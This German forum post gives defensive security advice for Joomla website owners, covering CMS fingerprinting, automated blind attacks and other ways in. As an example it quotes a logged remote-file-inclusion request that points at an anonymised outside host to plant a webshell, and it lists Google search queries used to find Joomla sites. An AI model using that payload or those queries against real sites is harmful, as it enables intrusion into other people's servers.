Thema: Mein Sicherheitsleitfaden

Vielen Dank Ihr Zwei!

Ich hatte parallel zu Euch noch einen Edit in meinen vorherigen Post vorgenommen. Habt Ihr auf die zweite Frage eventuell einen Hinweis für mich, wo das Problem liegen könnte (betr. "?tp=1" in der .htaccess)?

Sagen wirs mal so, wenn jemand ganz gezielt versucht Lieschen Müllers Webseite zu hacken, kann es ihm dadurch erschwert werden - wenn er nicht weiß, auf welchem CMS die Seite basiert. Aber das Verhindern des ?tp=1 Aufrufes hilft dabei letztlich auch nur dann was, wenn man ALLE anderen Hinweise auch entfernt.

Eigene 404-Seite, Templates-Pfad ändern, CSS-Klassen umbenennen, Divs umbenennen, Generator-Tag entfernen, Powered by entfernen, Urls ändern usw. Auch die robots.txt verrät häufig schon das eingesetzte CMS. usw.

Viele Hacks sind Blindschüsse... nach dem Gießkannen-Prinzip... Da wird alles mögliche versucht - und ab und zu passt der Schlüssel halt mal - Meistens nicht. Das ist ähnlich wie mit Spam... Auf 500.000 Spammails kommen, keine Ahnung, sagen wir mal 2-Bestellungen im Vi@gra-Shop. Da das Versenden der Spams nichts kostet - hat sichs gelohnt.

Nur mal als Beispiel:
z.B. habe ich in den Logs häufig soetwas stehen:
GET //forum/userLogin.php?config[forum_installed]=http://www.unkenntlich-gemacht.org/verzeichnis/datei.txt??

Da wird versucht eine webshell über eine verwundbare Forensoftware einzuschleusen.. auf meiner Seite läuft gar kein Forum.

Manchmal gibt man sich etwas mehr Mühe, in dem man z.B. über den google-suchparameter inurl:index.php?com_content&view o.ä. nach Joomla-Webseiten sucht und es dann gezielt auf bekannte Joomla-Schwachstellen versucht. Dagegen kann man sich evtl. mit SEO-Urls ein bisschen wehren... aber da gibts auch Abfragen, welche z.B. auf das Bilderverzeichnis abzielen: inurl:images/stories

Und selbst ein bombensicheres Joomla hilft nicht viel, wenn es ein anderes Einfallstor gibt. Ein bekannter hat mich mal um Hilfe gerufen - weil sein Joomla gehackt war... dabei stellte sich heraus... dass er vor Jahren mal zum testen eine Chat-Software auf seinem Webspace hatte, diese nicht gelöscht hatte und dann über eine Lücke dort eine webshell installiert wurde... da half dann der ganze Joomla-Schutz nicht viel..

Das nächste Problem sind die FTP-Programme ... Ich habs hier schonmal geschrieben.. es gibt Trojaner die speziell Filezilla-Zugangsdaten auslesen... auf Knopfdruck!

Hat man das Problem umgangen, kann man sich mal mit Hardware-Keyloggern beschäftigen oder mit infizierten Usb-Sticks, oder mit der (Un)Sicherheit seines Smartphones, oder mit Cookie-Klau in öffentlichen Wlans.

Dann gibts Hoster, denen werden die Server gehackt... das ist mir 2004 bei einem Hoster mal passiert... da ist man dann obwohl man alles mögliche und unmögliche gemacht hat trotzdem machtlos.

Da könnte man noch endlos weitermachen... man kommt vom 100te ins 1000ste.

Letztlich muss jeder selber entscheiden, wie stark er im Bereich Sicherheit aufrüsten muss/möchte... und um da selber eine vernünftige Beurteilung zu treffen, sind solche Threads wie diese hier sicherlich hilfreich, deshalb nochmal ein Dank an worti für die Arbeit die er sich hier gemacht hat!